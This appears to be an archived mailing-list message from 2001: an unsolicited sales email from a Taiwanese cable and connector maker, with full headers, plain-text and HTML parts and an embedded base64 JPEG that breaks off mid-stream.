   where the membership is constant throughout the lifetime of the group?
   (or alternatively where receivers join but there is no
   backwards-access-control requirement)?







From confctrl-owner  Mon Aug 27 03:17:31 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA07435
	for confctrl-outgoing; Mon, 27 Aug 2001 03:17:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA07430
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 03:17:29 -0700 (PDT)
Received: from pchome.com.tw (61-216-66-122.HINET-IP.hinet.net [61.216.66.122])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f7RAHHv09854
	for <confctrl@isi.edu>; Mon, 27 Aug 2001 03:17:18 -0700 (PDT)
Message-Id: <200108271017.f7RAHHv09854@tnt.isi.edu>
Received: from  [192.168.0.8] by Pchome.com.tw [192.168.0.8] with SMTP (MDaemon.v2.7.SP4.R) for <confctrl@isi.edu>; Mon, 27 Aug 2001 17:18:54 +0800
From: "kaven" <kaven@cm1.hinet.net>
To: "confctrl@isi.edu"@ISI.EDU
Subject: To confctrl pc-connector
Date: Mon, 27 Aug 2001 11:04:03 +0800
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_000_01C6_01C12EE7.FDFE2960"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-MDaemon-Deliver-To: confctrl@isi.edu
X-Return-Path: PC-CONNECTOR
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_01C6_01C12EE7.FDFE2960
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_01C7_01C12EE7.FDFE2960"


------=_NextPart_001_01C7_01C12EE7.FDFE2960
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

Dear confctrl:

We have superior product quality and good manufacturing experience.=20

- Our major products:

  a.. Computer For D-SUB Hoods.                             =20
  b.. Crimp Housing, Wafer, Terminal,
  c.. Computer Screw, Nut, Washers, Wire Chips        =20
  d.. D-SUB Connector                    =20
  e.. Mini Jumper.                                                    =20
  f.. Telephone Jack And Plugs.             =20
  g.. Adapter                                                            =
=20
  h.. Cat.5 Cables.                         =20
  i.. FPC/FFC Connector.                                         =20
  j.. SCSI Connector And Cable.                      =20
  k.. USB, V.35 Connector                                     =20
  l.. Pin Header, IDC Connector.                        =20
  m.. Power Cords And Cables, Flat Cable=A1K=A1K. =20
Welcome to our website for domestic and overseas in quires and please =
contact us for further information.

Website :  http://www.pc-connector.com

E-Mail   :  sales.co@msa.hinet.net

Best Regards

Kaven



=20


------=_NextPart_001_01C7_01C12EE7.FDFE2960
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dbig5" http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY background=3Dcid:01c101c12ea4$eda1c240$0800a8c0@P3 =
bgColor=3D#ffffff>
<DIV><FONT size=3D2>
<DIV><FONT size=3D2>
<P class=3DMsoNormal><STRONG>Dear confctrl:</STRONG></P>
<P class=3DMsoNormal><FONT size=3D3><SPAN lang=3DEN-US><STRONG>We have =
superior=20
product quality and good manufacturing experience. =
</STRONG></SPAN></FONT></P>
<P class=3DMsoNormal><STRONG><FONT size=3D3><SPAN lang=3DEN-US>- Our =
major=20
products:</SPAN></FONT></STRONG></P>
<UL>
  <LI>
  <DIV class=3DMsoNormal><FONT size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: red">Computer For D-SUB Hoods.</SPAN><SPAN =
lang=3DEN-US=20
  style=3D"COLOR: =
red">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  </SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><FONT size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: red">Crimp Housing, Wafer, Terminal,<?xml:namespace =
prefix =3D o=20
  ns =3D "urn:schemas-microsoft-com:office:office"=20
  /><o:p></o:p></SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><FONT size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: red">Computer Screw, Nut, Washers, Wire =
Chips</SPAN><SPAN=20
  lang=3DEN-US=20
  style=3D"COLOR: =
red">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN></STRON=
G></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><FONT size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: red">D-SUB Connector<SPAN=20
  style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  </SPAN></SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><SPAN lang=3DEN-US style=3D"COLOR: red"><FONT=20
  size=3D3><STRONG>Mini Jumper.</STRONG></FONT></SPAN><FONT =
size=3D3><STRONG><SPAN=20
  lang=3DEN-US=20
  style=3D"COLOR: =
red">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><FONT size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: red">Telephone Jack And Plugs.<SPAN=20
  style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;=20
  </SPAN></SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><SPAN lang=3DEN-US style=3D"COLOR: red"><FONT=20
  size=3D3><STRONG>Adapter</STRONG></FONT></SPAN><FONT =
size=3D3><STRONG><SPAN=20
  lang=3DEN-US=20
  style=3D"COLOR: =
red">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;</SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><FONT size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: red">Cat.5 Cables.<SPAN=20
  style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;=20
  </SPAN></SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><SPAN lang=3DEN-US style=3D"COLOR: red"><FONT=20
  size=3D3><STRONG>FPC/FFC Connector.</STRONG></FONT></SPAN><FONT=20
  size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: =
red">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><FONT size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: red">SCSI Connector And Cable.<SPAN=20
  style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  </SPAN></SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><SPAN lang=3DEN-US style=3D"COLOR: red"><FONT=20
  size=3D3><STRONG>USB, V.35 Connector</STRONG></FONT></SPAN><FONT=20
  size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: =
red">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;</SPAN></STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><FONT size=3D3><STRONG><SPAN lang=3DEN-US=20
  style=3D"COLOR: red">Pin Header, IDC Connector.<SPAN=20
  style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN=20
  style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN></SPAN><=
/STRONG></FONT></DIV>
  <LI>
  <DIV class=3DMsoNormal><SPAN lang=3DEN-US style=3D"COLOR: red"><FONT=20
  size=3D3><STRONG>Power Cords And Cables, Flat Cable=A1K=A1K.<SPAN=20
  style=3D"mso-spacerun: yes">&nbsp; =
</SPAN></STRONG></FONT></SPAN></DIV></LI></UL>
<P class=3DMsoNormal><STRONG><FONT size=3D3><SPAN lang=3DEN-US>Welcome =
to our website=20
for domestic and overseas in quires and please contact us for further=20
information.</SPAN></FONT></STRONG></P>
<P class=3DMsoNormal><STRONG><FONT size=3D3><SPAN lang=3DEN-US>Website =
:<SPAN=20
style=3D"mso-spacerun: yes">&nbsp; <A=20
href=3D"http://www.pc-connector.com">http://www.pc-connector.com</A></SPA=
N></SPAN></FONT></STRONG></P>
<P class=3DMsoNormal><FONT size=3D3><SPAN =
lang=3DEN-US><STRONG>E-Mail&nbsp;&nbsp;=20
:<SPAN style=3D"mso-spacerun: yes">&nbsp; <FONT color=3D#0000ff><U><A=20
href=3D"mailto:sales.co@msa.hinet.net">sales.co@msa.hinet.net</A></U></FO=
NT></SPAN></STRONG></SPAN></FONT></P>
<P class=3DMsoNormal><FONT size=3D3><SPAN lang=3DEN-US><STRONG><SPAN=20
style=3D"mso-spacerun: yes">Best =
Regards</SPAN></STRONG></SPAN></FONT></P>
<P class=3DMsoNormal><FONT size=3D3><SPAN lang=3DEN-US><STRONG><SPAN=20
style=3D"mso-spacerun: yes">Kaven</SPAN></STRONG></SPAN></FONT></P>
<P class=3DMsoNormal><FONT size=3D3><SPAN lang=3DEN-US><STRONG><SPAN=20
style=3D"mso-spacerun: yes"></SPAN></STRONG></SPAN></FONT>&nbsp;</P>
<P class=3DMsoNormal><FONT size=3D3><SPAN lang=3DEN-US><STRONG><SPAN=20
style=3D"mso-spacerun: =
yes"></SPAN></STRONG></SPAN></FONT>&nbsp;</P></FONT></DIV></FONT></DIV></=
BODY></HTML>

------=_NextPart_001_01C7_01C12EE7.FDFE2960--

------=_NextPart_000_01C6_01C12EE7.FDFE2960
Content-Type: image/jpeg;
	name="BBB-1.jpg"
Content-Transfer-Encoding: base64
Content-ID: <01c101c12ea4$eda1c240$0800a8c0@P3>

/9j/4AAQSkZJRgABAgEARwBHAAD/7QhaUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAARwAAAAEA
AgBHAAAAAQACOEJJTQQNAAAAAAAEAAAAeDhCSU0D8wAAAAAACAAAAAAAAAAAOEJJTQQKAAAAAAAB
AAA4QklNJxAAAAAAAAoAAQAAAAAAAAACOEJJTQP1AAAAAABIAC9mZgABAGxmZgAGAAAAAAABAC9m
ZgABAKGZmgAGAAAAAAABADIAAAABAFoAAAAGAAAAAAABADUAAAABAC0AAAAGAAAAAAABOEJJTQP4
AAAAAABwAAD/////////////////////////////A+gAAAAA////////////////////////////
/wPoAAAAAP////////////////////////////8D6AAAAAD/////////////////////////////
A+gAADhCSU0ECAAAAAAAEAAAAAEAAAJAAAACQAAAAAA4QklNBBQAAAAAAAQAAAABOEJJTQQMAAAA
AAbJAAAAAQAAAHAAAABUAAABUAAAbkAAAAatABgAAf/Y/+AAEEpGSUYAAQIBAEgASAAA//4AJkZp
bGUgd3JpdHRlbiBieSBBZG9iZSBQaG90b3Nob3CoIDUuMv/uAA5BZG9iZQBkgAAAAAH/2wCEAAwI
CAgJCAwJCQwRCwoLERUPDAwPFRgTExUTExgRDAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM
DAwMDAwBDQsLDQ4NEA4OEBQODg4UFA4ODg4UEQwMDAwMEREMDAwMDAwRDAwMDAwMDAwMDAwMDAwM
DAwMDAwMDAwMDAwMDP/AABEIAFQAcAMBIgACEQEDEQH/3QAEAAf/xAE/AAABBQEBAQEBAQAAAAAA
AAADAAECBAUGBwgJCgsBAAEFAQEBAQEBAAAAAAAAAAEAAgMEBQYHCAkKCxAAAQQBAwIEAgUHBggF
AwwzAQACEQMEIRIxBUFRYRMicYEyBhSRobFCIyQVUsFiMzRygtFDByWSU/Dh8WNzNRaisoMmRJNU
ZEXCo3Q2F9JV4mXys4TD03Xj80YnlKSFtJXE1OT0pbXF1eX1VmZ2hpamtsbW5vY3R1dnd4eXp7fH
1+f3EQACAgECBAQDBAUGBwcGBTUBAAIRAyExEgRBUWFxIhMFMoGRFKGxQiPBUtHwMyRi4XKCkkNT
FWNzNPElBhaisoMHJjXC0kSTVKMXZEVVNnRl4vKzhMPTdePzRpSkhbSVxNTk9KW1xdXl9VZmdoaW
prbG1ub2JzdHV2d3h5ent8f/2gAMAwEAAhEDEQA/APUXWta7a7QfvdkxyKR+cne4zEAjzUd2v0R9
yICDbKuz1WkgFvhKi572mO6I0y0HhRfWS6QAR5ykKtWtLV27jtI1RUJlZDgSGiPCZRHODQXOMAcl
I+CguqmVmiv9FT77jwB2/wDMkN+RdluNWL7K/wA63vH8j/yf/baLWzHwwGNBc8j3HvH7x3fRYgll
ji+pk5NoJdADTGhP5u785WFRLbMmwn8z809gPAj6W5WW+1ga0yB3OpSUlSQwXTMyPBPvlsjxSUzS
Q5Ug7XVJT//Q9SdWHGZg+KE6pxBa4BzTyPFWEkQSEUjoJ2REBujfgo2NO/QgE9pITvtPDNTE+f8A
ZlRbSHav1B/EH4+5jkrVS7K7Q4EnQdpJQXVX5Lv0w2VjTZz/AOdK3oNE6CUJe2sbagIHKG7G9R26
YY47i3vP/fkYV1bo787f9iIkpi2trG7WCP71UNdle703FrnaweJ8ldTEAiCJCVKtrNfY5rZEPPLQ
jXTDQOZ/gphobwIUHseXSCIPYoKQtedY480SuXEFOMdk7jJceTJRAABA4SpT/9H1N72t55PAQvfY
YOg405B/lAoxAIgiQUuAkpi1jWj8Y7A/yVKUhKQACSlg091JRL2jkpB4PE/GNElKcxjvpCVWsqya
3OsZZI8Dxt890qy6xjeSn5CSmicu/cCHNc0c7Rz9/uV5rg5oI7qDaa28DTmORoiJKUolwCTg4j2m
PFCf6ZG2xug114+TklMi94MgB7PLkf8AfXKbXBwkf3flQmUtYZBOvYmUVrYSU//S9VTEgcpEhoJJ
gDkrPySy4B++SOwcIHwRAtTocjTv3UBU4/Sd8gq+DdM1FwJGrR3APLf7KsOeN0BwkciUlMBXYLHQ
BHZx1U/Sn6bifwTseCS2QSNYUkFLNYxvAA80nsDxEkEaggwVJJJSF9tlIl43t/ebof7Q+iq/258z
LWwOHTEz2LVdQLMKh5kiPGNElJmO3Ma6I3AGPik5rXcifBQsuooDWvcG6Q1vJgeQ9yVWRTb9B4J8
O6SmbW7VJJJJT//T9UcA4EOEg6EFVjg4M60tH4Kw8PIGwhpnWROn4IRblO0lgHc6lJS9WNj061Vh
p8Rz96ma6nSSxpPeQEiLBEQRGszymi2HfRBI9sTykpVba2u9jA0xMgRypOkggcwg0sva+XtY0GS7
YSZJ8nBWElNAW1WhrbZa+v6NjXGRPg//ANKIwsyaiA5v2hhMb2QHCf32f+QUr8RlvuHtf2IVVxto
aWWOLWwdpAn/ADdPakp0AQflykfuVfFDw0uA0cZjx8XKykpo3Y7g525nq1OM+JH/AH9v/W3Ks/Ga
4bqnyB+a86j+raP/AEa1a6FbjV2Hdq1/77dCkpzWZmXjO2v94GuyzR0D9yz8/wD8EWlj3i+oWBpZ
PZyrfYbdQ5wc2QWt4BP7z2+7b/YV0ca8pKf/1PVUl8qpJKfqpJfKqSSn6qSXyqkkp+qkxiNeF8rJ
JKfqj27hH+xSXyqkkp+qkl8qpJKfqpJfKqSSn//ZADhCSU0EBgAAAAAABwABAQEAAQEA/+IMWElD
Q19QUk9GSUxFAAEBAAAMSExpbm8CEAAAbW50clJHQiBYWVogB84AAgAJAAYAMQAAYWNzcE1TRlQA
AAAASUVDIHNSR0IAAAAAAAAAAAAAAAAAAPbWAAEAAAAA0y1IUCAgAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARY3BydAAAAVAAAAAzZGVzYwAAAYQAAABsd3Rw
dAAAAfAAAAAUYmtwdAAAAgQAAAAUclhZWgAAAhgAAAAUZ1hZWgAAAiwAAAAUYlhZWgAAAkAAAAAU
ZG1uZAAAAlQAAABwZG1kZAAAAsQAAACIdnVlZAAAA0wAAACGdmlldwAAA9QAAAAkbHVtaQAAA/gA
AAAUbWVhcwAABAwAAAAkdGVjaAAABDAAAAAMclRSQwAABDwAAAgMZ1RSQwAABDwAAAgMYlRSQwAA
BDwAAAgMdGV4dAAAAABDb3B5cmlnaHQgKGMpIDE5OTggSGV3bGV0dC1QYWNrYXJkIENvbXBhbnkA
AGRlc2MAAAAAAAAAEnNSR0IgSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAASc1JHQiBJRUM2MTk2Ni0y
LjEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAA
AAAAAADzUQABAAAAARbMWFlaIAAAAAAAAAAAAAAAAAAAAABYWVogAAAAAAAAb6IAADj1AAADkFhZ
WiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9kZXNjAAAAAAAAABZJRUMgaHR0
cDovL3d3dy5pZWMuY2gAAAAAAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMuY2gAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGVzYwAAAAAAAAAuSUVDIDYxOTY2
LTIuMSBEZWZhdWx0IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAuSUVDIDYxOTY2
LTIuMSBEZWZhdWx0IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AGRlc2MAAAAAAAAALFJlZmVyZW5jZSBWaWV3aW5nIENvbmRpdGlvbiBpbiBJRUM2MTk2Ni0yLjEA
AAAAAAAAAAAAACxSZWZlcmVuY2UgVmlld2luZyBDb25kaXRpb24gaW4gSUVDNjE5NjYtMi4xAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB2aWV3AAAAAAATpP4AFF8uABDPFAAD7cwABBMLAANcngAA
AAFYWVogAAAAAABMCVYAUAAAAFcf521lYXMAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAKPAAAA
AnNpZyAAAAAAQ1JUIGN1cnYAAAAAAAAEAAAAAAUACgAPABQAGQAeACMAKAAtADIANwA7AEAARQBK
AE8AVABZAF4AYwBoAG0AcgB3AHwAgQCGAIsAkACVAJoAnwCkAKkArgCyALcAvADBAMYAywDQANUA
2wDgAOUA6wDwAPYA+wEBAQcBDQETARkBHwElASsBMgE4AT4BRQFMAVIBWQFgAWcBbgF1AXwBgwGL
AZIBmgGhAakBsQG5AcEByQHRAdkB4QHpAfIB+gIDAgwCFAIdAiYCLwI4AkECSwJUAl0CZwJxAnoC
hAKOApgCogKsArYCwQLLAtUC4ALrAvUDAAMLAxYDIQMtAzgDQwNPA1oDZgNyA34DigOWA6IDrgO6
A8cD0wPgA+wD+QQGBBMEIAQtBDsESARVBGMEcQR+BIwEmgSoBLYExATTBOEE8AT+BQ0FHAUrBToF
SQVYBWcFdwWGBZYFpgW1BcUF1QXlBfYGBgYWBicGNwZIBlkGagZ7BowGnQavBsAG0QbjBvUHBwcZ
BysHPQdPB2EHdAeGB5kHrAe/B9IH5Qf4CAsIHwgyCEYIWghuCIIIlgiqCL4I0gjnCPsJEAklCToJ
TwlkCXkJjwmkCboJzwnlCfsKEQonCj0KVApqCoEKmAquCsUK3ArzCwsLIgs5C1ELaQuAC5gLsAvI
C+EL+QwSDCoMQwxcDHUMjgynDMAM2QzzDQ0NJg1ADVoNdA2ODakNww3eDfgOEw4uDkkOZA5/DpsO
tg7SDu4PCQ8lD0EPXg96D5YPsw/PD+wQCRAmEEMQYRB+EJsQuRDXEPURExExEU8RbRGMEaoRyRHo
EgcSJhJFEmQShBKjEsMS4xMDEyMTQxNjE4MTpBPFE+UUBhQnFEkUahSLFK0UzhTwFRIVNBVWFXgV
mxW9FeAWAxYmFkkWbBaPFrIW1hb6Fx0XQRdlF4kXrhfSF/cYGxhAGGUYihivGNUY+hkgGUUZaxmR
GbcZ3RoEGioaURp3Gp4axRrsGxQbOxtjG4obshvaHAIcKhxSHHscoxzMHPUdHh1HHXAdmR3DHewe
Fh5AHmoelB6+HukfEx8+H2kflB+/H+ogFSBBIGwgmCDEIPAhHCFIIXUhoSHOIfsiJyJVIoIiryLd
IwojOCNmI5QjwiPwJB8kTSR8JKsk2iUJJTglaCWXJccl9yYnJlcmhya3JugnGCdJJ3onqyfcKA0o
PyhxKKIo1CkGKTgpaymdKdAqAio1KmgqmyrPKwIrNitpK50r0SwFLDksbiyiLNctDC1BLXYtqy3h
LhYuTC6CLrcu7i8kL1ovkS/HL/4wNTBsMKQw2zESMUoxgjG6MfIyKjJjMpsy1DMNM0YzfzO4M/E0
KzRlNJ402DUTNU01hzXCNf02NzZyNq426TckN2A3nDfXOBQ4UDiMOMg5BTlCOX85vDn5OjY6dDqy
Ou87LTtrO6o76DwnPGU8pDzjPSI9YT2hPeA+ID5gPqA+4D8hP2E/oj/iQCNAZECmQOdBKUFqQaxB
7kIwQnJCtUL3QzpDfUPARANER0SKRM5FEkVVRZpF3kYiRmdGq0bwRzVHe0fASAVIS0iRSNdJHUlj
SalJ8Eo3Sn1KxEsMS1NLmkviTCpMcky6TQJNSk2TTdxOJU5uTrdPAE9JT5NP3VAnUHFQu1EGUVBR
m1HmUjFSfFLHUxNTX1OqU/ZUQlSPVNtVKFV1VcJWD1ZcVqlW91dEV5JX4FgvWH1Yy1kaWWlZuFoH
WlZaplr1W0VblVvlXDVchlzWXSddeF3JXhpebF69Xw9fYV+zYAVgV2CqYPxhT2GiYfViSWKcYvBj
Q2OXY+tkQGSUZOllPWWSZedmPWaSZuhnPWeTZ+loP2iWaOxpQ2maafFqSGqfavdrT2una/9sV2yv
bQhtYG25bhJua27Ebx5veG/RcCtwhnDgcTpxlXHwcktypnMBc11zuHQUdHB0zHUodYV14XY+dpt2
+HdWd7N4EXhueMx5KnmJeed6RnqlewR7Y3vCfCF8gXzhfUF9oX4BfmJ+wn8jf4R/5YBHgKiBCoFr
gc2CMIKSgvSDV4O6hB2EgITjhUeFq4YOhnKG14c7h5+IBIhpiM6JM4mZif6KZIrKizCLlov8jGOM
yo0xjZiN/45mjs6PNo+ekAaQbpDWkT+RqJIRknqS45NNk7aUIJSKlPSVX5XJljSWn5cKl3WX4JhM
mLiZJJmQmfyaaJrVm0Kbr5wcnImc951kndKeQJ6unx2fi5/6oGmg2KFHobaiJqKWowajdqPmpFak
x6U4pammGqaLpv2nbqfgqFKoxKk3qamqHKqPqwKrdavprFys0K1ErbiuLa6hrxavi7AAsHWw6rFg
sdayS7LCszizrrQltJy1E7WKtgG2ebbwt2i34LhZuNG5SrnCuju6tbsuu6e8IbybvRW9j74KvoS+
/796v/XAcMDswWfB48JfwtvDWMPUxFHEzsVLxcjGRsbDx0HHv8g9yLzJOsm5yjjKt8s2y7bMNcy1
zTXNtc42zrbPN8+40DnQutE80b7SP9LB00TTxtRJ1MvVTtXR1lXW2Ndc1+DYZNjo2WzZ8dp22vvb
gNwF3IrdEN2W3hzeot8p36/gNuC94UThzOJT4tvjY+Pr5HPk/OWE5g3mlucf56noMui86Ubp0Opb
6uXrcOv77IbtEe2c7ijutO9A78zwWPDl8XLx//KM8xnzp/Q09ML1UPXe9m32+/eK+Bn4qPk4+cf6
V/rn+3f8B/yY/Sn9uv5L/tz/bf////4AJkZpbGUgd3JpdHRlbiBieSBBZG9iZSBQaG90b3Nob3Co
IDUuMv/uACFBZG9iZQBkgAAAAAEDABADAgMGAAAAAAAAAAAAAAAA/9sAhAAMCAgICQgMCQkMEQsK
CxEVDwwMDxUYExMVExMYEQwMDAwMDBEMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAQ0LCw0O
DRAODhAUDg4OFBQODg4OFBEMDAwMDBERDAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM
DAz/wgARCAFUAcYDASIAAhEBAxEB/8QAuwABAAMBAQEBAQAAAAAAAAAAAAECAwQFCAYHAQEBAQEA
AAAAAAAAAAAAAAAAAQIDEAACAgIABgICAgICAwAAAAABAgADEQQQIDAhEhNAMVAUQSJgBXAyIzMV
EQABAwIDAgoHBQUHBAMAAAABABECITFBEgNRIhAgMGFxkTJCUhNAgWJygpLSUKHC4iOxsjNDBPDB
0fGi8mNgU3ODk+NEEgABBAIDAAAAAAAAAAAAAAARABBAIYABUGBw/9oADAMBAQIRAxEAAAD+qgAA
AAVmiTOatWA6Iz0JEoAAAABHGbX8ST3nN0gAAAAAAAAAAEY7Y2RvxzcdbkrL2144q23Pvc9NbMdc
a74azEGkEGuvN04thKAAArnwG3nW6Iz9DbSinKdqtgAQSAAAAAAAAVIrKyEkiQm1bSyFjDfOzONF
zm0LntTWWwlAFS3Jl55Nr+sYdYM54CKTJp283UWrWIupVdWVzREWWiaEqosqNFJqZrYAil6WUJsi
Ji0LJ3w3xQlimgxnUmLZWWiZQCOcv5+dSnZp3lbMi/LjJ0cc7mPbOpSM5lvAAEiJqNc9MkmaysoE
okWqTRCpw2hOe1qbzaK2tcu95Mu3l3luM6rjvjZCqyZzVtbn2y2iOKatyNSOrXUK5G3m+lwjC2kt
ejbSxW1Tj5uzDGtduJXe4OxL1itbzXSyObp5JbTWTScNC7OS01k2FgAGWfQsxjalYp0udhjcZa5p
EU1qjoHPtZHm19PBceywUjEVsJ6ObpMdbABEwc9erMyz1rLx77IVtarbRNkcnTlFaXyltatqXpcm
zSwkAAAAAK1yJpGxnS+5XUAAAMKdWZjOuhWwAAARIM9BzzuKXBW2RWcbS2x1scXR1VTn30mokAAA
ABQnOkCttSctNQAQSpJYAAoXYbgAAAAAEJAAGefQKXCEgAAAABGUCqpN7iL2ABEE1rJMRqAAK2GG
fWOWuvnHZ1eTavWefJ3T4/Qegz0gAAAAQSpBow1LIkAAEEZ5WK6BTeZK3AVJhBJJEXAAAAADDccv
